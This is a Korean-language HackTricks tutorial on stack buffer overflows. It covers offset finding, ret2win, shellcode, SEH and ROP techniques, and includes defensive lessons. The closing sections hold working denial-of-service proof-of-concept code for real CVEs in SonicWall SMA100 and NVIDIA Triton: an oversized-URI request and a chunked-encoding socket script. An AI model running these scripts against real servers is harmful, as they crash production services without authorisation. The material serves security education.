# Stack Overflow {{#include ../../banners/hacktricks-training.md}} ## Stack Overflow란 무엇인가 A **stack overflow**는 프로그램이 스택에 할당된 용량보다 더 많은 데이터를 쓸 때 발생하는 취약점입니다. 이러한 초과 데이터는 **인접한 메모리 공간을 덮어쓰게 되어**, 유효한 데이터 손상, 제어 흐름의 교란, 그리고 잠재적으로 악성 코드 실행으로 이어질 수 있습니다. 이 문제는 종종 입력에 대해 경계 검사를 수행하지 않는 안전하지 않은 함수의 사용으로 인해 발생합니다. 이 덮어쓰기의 주요 문제는 이전 함수로 복귀하기 위해 저장되는 **saved instruction pointer (EIP/RIP)**와 **saved base pointer (EBP/RBP)**가 **스택에 저장되어 있다는 것**입니다. 따라서 공격자는 이를 덮어써서 프로그램의 실행 흐름을 **제어할 수 있게 됩니다**. 이 취약점은 일반적으로 함수가 **스택 내부에 할당된 것보다 더 많은 바이트를 복사**하기 때문에 발생하며, 그 결과 스택의 다른 부분을 덮어쓸 수 있게 됩니다. 취약하기 쉬운 일반적인 함수로는 **`strcpy`, `strcat`, `sprintf`, `gets`** 등이 있습니다. 또한 **`fgets`**, **`read`** 및 **`memcpy`**처럼 **length argument**를 받는 함수들도, 지정한 길이가 할당된 크기보다 클 경우 취약하게 사용될 수 있습니다. 예를 들어, 다음 함수들이 취약할 수 있습니다: ```c void vulnerable() { char buffer[128]; printf("Enter some text: "); gets(buffer); // This is where the vulnerability lies printf("You entered: %s\n", buffer); } ``` ### Stack Overflow offsets 찾기 가장 흔한 방법은 매우 큰 `A` 입력(예: `python3 -c 'print("A"*1000)'`)을 주고 `Segmentation Fault`를 기대하는 것이다. 이는 **주소 `0x41414141`에 접근하려고 시도함**을 나타낸다. 또한, Stack Overflow 취약점을 발견하면 return address를 덮어쓸 수 있을 때까지의 offset을 찾아야 하는데, 이를 위해 보통 **De Bruijn sequence**가 사용된다. 이는 주어진 알파벳 크기 _k_와 부분수열 길이 _n_에 대해, 길이 _n_인 모든 가능한 부분수열이 정확히 한 번씩 연속적으로 나타나는 **순환 시퀀스**다. 이 방법을 사용하면 수동으로 EIP를 제어하기 위한 offset을 알아내는 대신, 패딩으로 이 시퀀스 중 하나를 사용하고 어느 바이트가 덮어썼는지 찾아 offset을 확인할 수 있다. It's possible to use **pwntools** for this: ```python from pwn import * # Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values) pattern = cyclic(1000) # This is an example value that you'd have found in the EIP/IP register upon crash eip_value = p32(0x6161616c) offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern print(f"The offset is: {offset}") ``` 또는 **GEF**: ```bash #Patterns pattern create 200 #Generate length 200 pattern pattern search "avaaawaa" #Search for the offset of that substring pattern search $rsp #Search the offset given the content of $rsp ``` ## Exploiting Stack Overflows 오버플로우가 발생하면(오버플로우 크기가 충분히 큰 경우) 스택 내의 지역 변수 값들을 저장된 **EBP/RBP and EIP/RIP (or even more)**에 도달할 때까지 **덮어쓸 수** 있습니다.\ 이 취약점을 악용하는 가장 일반적인 방법은 **리턴 주소를 수정**하여 함수가 종료될 때 이 포인터에 지정한 위치로 **제어 흐름이 전환되게 하는 것**입니다. 하지만 다른 경우에는 스택의 일부 변수 값만 **덮어쓰는 것**만으로도 익스플로잉이 가능한 경우가 있습니다(예: 쉬운 CTF 문제들). ### Ret2win In this type of CTF challenges, there is a **function** **inside** the binary that is **never called** and that **you need to call in order to win**. For these challenges you just need to find the **offset to overwrite the return address** and **find the address of the function** to call (usually [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) would be disabled) so when the vulnerable function returns, the hidden function will be called: {{#ref}} ret2win/ {{#endref}} ### Stack Shellcode In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code: {{#ref}} stack-shellcode/ {{#endref}} ### Windows SEH-based exploitation (nSEH/SEH) 32-bit Windows 환경에서는 오버플로우가 저장된 리턴 주소 대신 Structured Exception Handler (SEH) 체인을 덮어쓸 수 있습니다. 익스플로잉은 일반적으로 SEH 포인터를 POP POP RET gadget으로 교체하고 4바이트 nSEH 필드를 짧은 점프로 사용하여 shellcode가 존재하는 큰 버퍼로 다시 피벗합니다. 흔한 패턴으로는 nSEH에 있는 짧은 jmp가 nSEH 바로 앞에 놓인 5바이트 near jmp로 착지하여 페이로드 시작점으로 수백 바이트를 되돌아가게 하는 경우가 있습니다. {{#ref}} windows-seh-overflow.md {{#endref}} ### ROP & Ret2... techniques 이 기법은 이전 기법의 주요 보호 메커니즘인 **No executable stack (NX)**를 우회하기 위한 근본적인 프레임워크입니다. 또한 기존 바이너리의 명령들을 악용해 임의 명령을 실행하는 다양한 기법(ret2lib, ret2syscall...)을 수행할 수 있게 합니다: {{#ref}} ../rop-return-oriented-programing/ {{#endref}} ## Heap Overflows 오버플로우가 항상 스택에서 발생하는 것은 아니며, 예를 들어 **heap**에서도 발생할 수 있습니다: {{#ref}} ../libc-heap/heap-overflow.md {{#endref}} ## Types of protections 취약점 악용을 방지하기 위해 여러 보호 기법들이 존재합니다. 자세한 내용은 다음을 확인하세요: {{#ref}} ../common-binary-protections-and-bypasses/ {{#endref}} ### Real-World Example: CVE-2025-40596 (SonicWall SMA100) 비신뢰 입력을 파싱할 때는 **`sscanf`를 절대 신뢰하면 안 된다**는 점을 잘 보여주는 사례가 2025년 SonicWall의 SMA100 SSL-VPN 어플라이언스에서 등장했습니다. `/usr/src/EasyAccess/bin/httpd` 내부의 취약한 루틴은 `/__api__/`로 시작하는 모든 URI에서 버전과 엔드포인트를 추출하려고 시도합니다: ```c char version[3]; char endpoint[0x800] = {0}; /* simplified proto-type */ sscanf(uri, "%*[^/]/%2s/%s", version, endpoint); ``` 1. 첫 번째 변환 (`%2s`)은 `version`에 **두** 바이트를 안전하게 저장합니다(예: `"v1"`). 2. 두 번째 변환 (`%s`)에는 **길이 지정자가 없습니다**, 따라서 `sscanf`는 **첫 번째 NUL 바이트까지** 계속 복사합니다. 3. `endpoint`가 **stack**에 위치하고 **0x800 bytes long**이기 때문에, 0x800 bytes보다 긴 경로를 제공하면 버퍼 뒤에 있는 모든 것이 손상됩니다 ‑ 여기에는 **stack canary**와 **saved return address**가 포함됩니다. 한 줄짜리 proof-of-concept만으로도 **인증 전에** 크래시를 유발하기에 충분합니다: ```python import requests, warnings warnings.filterwarnings('ignore') url = "https://TARGET/__api__/v1/" + "A"*3000 requests.get(url, verify=False) ``` Even though stack canaries abort the process, an attacker still gains a **Denial-of-Service** primitive (and, with additional information leaks, possibly code-execution). The lesson is simple: * 항상 **최대 필드 너비**를 지정하라 (예: `%511s`). * `snprintf`/`strncpy_s` 같은 더 안전한 대안을 선호하라. ### 실제 사례: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server) NVIDIA’s Triton Inference Server (≤ v25.06) contained multiple **stack-based overflows** reachable through its HTTP API. 취약한 패턴은 `http_server.cc`와 `sagemaker_server.cc`에서 반복적으로 나타났다: ```c int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0); if (n > 0) { /* allocates 16 * n bytes on the stack */ struct evbuffer_iovec *v = (struct evbuffer_iovec *) alloca(sizeof(struct evbuffer_iovec) * n); ... } ``` 1. `evbuffer_peek` (libevent)는 현재 HTTP 요청 본문을 구성하는 **내부 버퍼 세그먼트의 수**를 반환한다. 2. 각 세그먼트는 `alloca()`를 통해 **16-byte** 크기의 `evbuffer_iovec`를 **stack**에 할당하게 되며 – **상한이 전혀 없다**. 3. **HTTP _chunked transfer-encoding_**을 악용하면, 클라이언트는 요청을 수십만 개의 6-byte 청크 (`"1\r\nA\r\n"`)로 분할하도록 강제할 수 있다. 이로 인해 `n`이 stack이 소진될 때까지 무한히 증가한다. #### 개념 증명 (DoS) ```python #!/usr/bin/env python3 import socket, sys def exploit(host="localhost", port=8000, chunks=523_800): s = socket.create_connection((host, port)) s.sendall(( f"POST /v2/models/add_sub/infer HTTP/1.1\r\n" f"Host: {host}:{port}\r\n" "Content-Type: application/octet-stream\r\n" "Inference-Header-Content-Length: 0\r\n" "Transfer-Encoding: chunked\r\n" "Connection: close\r\n\r\n" ).encode()) for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x s.sendall(b"0\r\n\r\n") # end of chunks s.close() if __name__ == "__main__": exploit(*sys.argv[1:]) ``` 대략 3MB의 요청으로 저장된 반환 주소를 덮어쓰고 기본 빌드에서 데몬을 **crash**시킬 수 있습니다. #### 패치 및 완화 25.07 릴리스는 안전하지 않은 스택 할당을 **힙 기반 `std::vector`**로 교체하고 `std::bad_alloc`을 적절히 처리합니다: ```c++ std::vector v_vec; try { v_vec = std::vector(n); } catch (const std::bad_alloc &e) { return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed"); } struct evbuffer_iovec *v = v_vec.data(); ``` 배운 점: * 공격자가 제어하는 크기로 `alloca()`를 호출하지 마세요. * Chunked requests는 server-side buffers의 형태를 급격히 바꿀 수 있습니다. * client input에서 유도된 모든 값은 memory allocations에 사용하기 *before* 반드시 검증하고 제한하세요. ## 참고자료 * [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/) * [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/) * [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html) {{#include ../../banners/hacktricks-training.md}}